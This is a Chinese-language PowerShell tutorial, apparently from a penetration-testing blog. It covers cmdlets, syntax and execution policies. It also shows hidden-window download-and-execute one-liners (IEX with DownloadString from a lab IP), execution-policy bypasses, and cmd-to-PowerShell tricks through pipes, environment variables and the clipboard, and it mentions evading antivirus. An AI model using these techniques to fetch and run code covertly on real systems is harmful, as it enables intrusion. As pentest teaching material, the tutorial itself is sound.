Powershell渗透框架
文章目录
- Powershell基础
- Powershell简介
- 什么是 Windows PowerShell
- 为什么使用 Windows PowerShell
- 如何启动 Windows PowerShell
- PowerShell和Cmd命令提示符的区别
- PowerShell
- cmd
- 管理员运行 PowerShell
- Windows PowerShell ISE
- 创建并运行脚本
- 文本编辑器创建脚本
- 集成脚本环境创建脚本
- 加载执行本地脚本
- 加载执行远程脚本
- 脚本执行策略
- 查看当前执行策略
- 获取影响当前会话的所有执行策略,并按优先顺序显示它们
- 将执行策略设置为 Bypass
- 对特定的用户执行策略设置
- 绕过执行策略
- 本地读取然后通过管道符运行
- 远程下载并通过IEX运行脚本
- Bypass执行策略绕过
- Unrestricted执行策略
- PowerShell注释
- 单行注释
- 多行注释
- PowerShell Cmdlet
- 常用Cmdlet命令
- 查看 powershell 版本
- 查看当前环境变量
- 启动指定程序
- 获取指定进程信息
- 获取文件信息
- 复制文件
- 移动文件
- 获取指定服务信息
- 获取文件Hash
- 设置文本内容
- 删除文件的内容,但不删除该文件
- 获取当前目录
- 查看别名
- 基本语法
- 管道符
- 分号
- 调用操作符
- 输出单双引号
- 运输符
- 变量
- 数组
- 语句
- 条件语句
- 循环语句
- Cmd启动Powershell
- 常规方法
- 管道输入流
- 环境变量
- 从粘贴板执行
- bat脚本执行
Powershell基础
Powershell简介
什么是 Windows PowerShell
Windows PowerShell 是 Microsoft 创建的基于任务的自动化命令行Shell和相关脚本语言,基于 .NET 框架。
是Microsoft的新Shell,它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集结合在一起。
用于控制和自动化管理Windows操作系统和运行在操作系统上的应用。
被广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避 Anti-Virus 检测。
Windows PowerShell 中的命令称为 cmdlet ,发音为“ command-lets ”,其中每个 cmdlet 代表特定的功能或基于任务的脚本。
Powershell 默认安装在Win7及以后的系统上。
操作系统信任
提供Windows操作系统的几乎一切访问权限
Windows PowerShell 集成脚本环境(ISE)
为什么使用 Windows PowerShell
它既是脚本语言,又是命令行Shell。它可以与不同数量的技术进行交互。
Windows PowerShell允许完全访问.NET框架中的所有类型。PowerShell是基于对象的。
Microsoft为各种产品设计的GUI的许多接口是PowerShell的前端接口。
它比运行VBScript或其他脚本语言更安全。
通过组合多个命令和编写脚本,它可以更有效地执行重复性任务。假设系统管理员希望创建数百个活动目录用户,那么他只能借助脚本中放置的某些 PowerShell cmdlet 来实现此目的。
使用PowerShell的简单cmdlet可以在一秒钟内完成许多复杂且耗时的配置和任务。
如何启动 Windows PowerShell
所有最新版本的 Windows 中都可以使用 PowerShell 。
我们需要按照给定的步骤启动 PowerShell :搜索 Windows PowerShell 。选择并单击。 PowerShell窗口将打开。
PowerShell和Cmd命令提示符的区别
PowerShell
1、它是基于.NET框架的基于任务的自动化命令行
界面和关联的脚本语言。
2、它可以解释批处理和PowerShell命令。
3、它用于控制和自动化Windows服务器上的应用
程序和Windows操作系统。
4、PowerShell生成的输出不仅是字符流,而且是
对象的集合。
5、它既是Shell程序又是脚本编制环境,它支持创
建用于管理Windows操作系统的大文件。
cmd
1、它是Microsoft Windows操作系统的默认
命令行解释器。
2、它只能解释批处理命令。
3、它用于在控制台上执行给定的命令,可用
于调试问题。
4、命令提示符生成的输出只是字符流(文本)。
5、它只是一个shell系统,它允许用户仅执行
简单和基本的脚本来执行批处理文件。
管理员运行 PowerShell
在Windows操作系统中,有五种方法可以以管理员身份运行PowerShell:
1、使用运行窗口(对于所有版本的Windows),以管理员身份运行PowerShell。
2、使用Cortana搜索栏(对于Windows 10)以管理员身份运行PowerShell。
3、在命令提示符下以管理员身份运行PowerShell。
4、从任务管理器以管理员身份运行PowerShell。
5、从“开始”菜单以管理员身份运行PowerShell。
Windows PowerShell ISE
Microsoft Windows PowerShell ISE 是基于图形用户界面的应用程序,并且是Windows PowerShell的默认编辑器。
ISE代表集成脚本环境。它是一个界面,我们可以在这个界面中运行命令以及编写,测试和调试PowerShell脚本,而无需在命令行界面中编写所有命令。
集成脚本环境(ISE)提供选项卡补全,多行编辑,语法着色,上下文相关帮助,选择性执行以及对从右到左语言的支持。
PowerShell的ISE窗口包含以下三个窗格:
脚本窗格:此窗格允许用户创建和运行脚本。 用户可以在脚本窗格中轻松打开,编辑和运行现有脚本。
输出窗格:此窗格显示脚本的输出以及运行的命令。还可以清除并复制“输出”窗格中的内容。
命令窗格:此窗格允许用户编写命令。在命令窗格中轻松执行单行或多行命令。
创建并运行脚本
文本编辑器创建脚本
打开任意文本编辑器,写入测试脚本内容:
echo "Hello world"
保存文件名为 test.ps1,双击即可运行!
集成脚本环境创建脚本
打开 Windows PowerShell ISE ,新建一个空文件,写入要执行的脚本内容,保存文件名为test.ps1
菜单栏点击运行,或快捷键 F5 运行脚本
加载执行本地脚本
powershell -f test.ps1 #需要指定路径
加载执行远程脚本
Powershell 远程下载代码脚本执行
powershell -c "Invoke-Expression (New-Object
System.Net.WebClient).DownloadString('https://192.168.88.128:80/test.ps1')"
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
WebClient 类:提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据的常用方法。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0
DownloadString 方法:以 String 形式下载请求的资源。 可以以包含 URI 的 String 或 Uri 的形式指定要下载的资源。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0
脚本执行策略
在计算机系统中启动PowerShell时,默认执行策略不允许我们执行或运行脚本。
查看当前执行策略
Get-ExecutionPolicy
获取影响当前会话的所有执行策略,并按优先顺序显示它们
Get-ExecutionPolicy -List
将执行策略设置为 Bypass
Set-ExecutionPolicy Bypass
#需要使用管理员权限启动power shell
对特定的用户执行策略设置
Set-ExecutionPolicy Unrestricted -Scope LocalMachine
详细查看: https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3
PowerShell中可以设置以下类型的执行策略:
名称 | 说明 |
---|---|
AllSigned | AllSigned 允许执行所有具有数字签名的脚本。 |
Bypass | 不阻止任何操作,并且没有任何警告或提示。 |
Default | 设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器远程签名 |
RemoteSigned | 允许执行具有数字签名的通过网络下载的脚本;本地创建的脚本不要求脚本具有数字签名,可以直接执行。 |
Restricted | 受限制的,可以执行单个的命令,但不能执行脚本,执行就会报错,Windows8,Windows 8.1,Windows Server 2012中默认策略。 |
Undefined | Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。 |
Unrestricted | 允许运行未签名的脚本。从网络上下载的脚本,在运行前会进行安全性提示。需要确认是否执行脚本。 |
Bypass 最为常用
绕过执行策略
本地读取然后通过管道符运行
powershell Get-Content C:\Users\xxxxx\Desktop\powershell\test.ps1 | powershell -
远程下载并通过IEX运行脚本
powershell -w hidden "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.88.128:80/test.ps1')"
Bypass执行策略绕过
powershell -executionpolicy bypass -f C:\Users\xxx\Desktop\powershell\test.ps1
Unrestricted执行策略
powershell -executionpolicy unrestricted -f C:\Users\xxxx\Desktop\powershell\test.ps1
PowerShell注释
单行注释
单行注释是在每行的开头键入井号 # 的注释。 # 符号右边的所有内容都将被忽略。 如果在脚本中编写多行,则必须在每行的开头使用井号 # 符号。
# 单行注释.............
多行注释
要注释多行,请将 <# 符号放在第一行的开头,将 #> 符号放在最后一行的末尾。
<# 多行注释.........
多行注释.........
多行注释....................#>
PowerShell Cmdlet
Cmdlets 是 PowerShell 的非常重要的内部命令集。
Cmdlet 发音为” command-lets ”,它是在 PowerShell 环境中使用的轻量级命令。 这些是在PowerShell环境中实现特殊功能的特殊命令。
Cmdlet 遵循“动词-名词”模式,例如: set-childItem
Cmdlet 是以 .NET 类实例形式存在的命令。 Cmdlets 可以用任何 .NET 语言来编写,也可以用PowerShell 脚本语言来编写。
它并不是简单的可执行文件,它有很多属性,这些属性用来指定输入参数或者使用管道来管理重定向。我们可以通过输入 Get-Command 可以显示可用的 Cmdlets 命令。
Get-Command -CommandType Cmdlet
常用Cmdlet命令
查看 powershell 版本
$PSVersionTable
#别名 Get-Host
查看当前环境变量
Get-ChildItem env:
#别名gci ls dir
启动指定程序
Start-Process calc.exe
saps explorer.exe
#别名 saps start
获取指定进程信息
Get-Process
Get-Process explorer
#别名 gps ps
获取文件信息
Get-Item 1.txt
#别名 gi
复制文件
Copy-Item 1.txt 2.txt
#别名 cpi cp copy
移动文件
Move-Item 1.txt 2.txt
#别名 mi mv move
获取指定服务信息
Get-Service -Name Everything
获取文件Hash
Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt
设置文本内容
Set-Content 1.txt -Value "hello, word"
#别名 sc
删除文件的内容,但不删除该文件
Clear-Content 1.txt
获取当前目录
Get-Location
#别名gl pwd
查看别名
Get-Alias -name dir
基本语法
管道符
| #将一个命令的输出作为另一个命令的输入
分号
; #分号用来连续执行系统命令
调用操作符
& ##调用操作符,它允许你执行命令,脚本或函数
输出单双引号
""""
# 输出双引号
''''
# 输出单引号
运输符
> #将输出保存到指定文件中(用法:Get-Process > output.txt)
>> #将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2> #将错误输出到指定文件中(Get-Porcess none 2> Errors.txt)
2>> #将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
-eq #等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt #大于运算符(用法:$var1 –gt $var2,返回真或假)
-match #匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace #替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in #测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()
变量
变量都是以 $ 开头
$w = "hello world" # 变量赋值
$w # 访问变量
数组
$a = 'value1','value2','value3' # 创建数组
$a[0] # 访问数组第一个元素
$a = @() # 空数组
$a = 1,'two',(get-date)
语句
条件语句
if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}
循环语句
while() {}
Do {} While()
For(;;;) {}
Cmd启动Powershell
常规方法
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
管道输入流
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
环境变量
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd','Process'));"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:cmd).Value)"
从粘贴板执行
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void]
[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX
([System.Windows.Forms.Clipboard]::GetText())"
bat脚本执行
@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause
#不想有'请按任意键继续...' 可以去掉pause
[未完待续,后面会更新CobaltStrikePowerShell加载器以及PowerSploit后渗透框架…]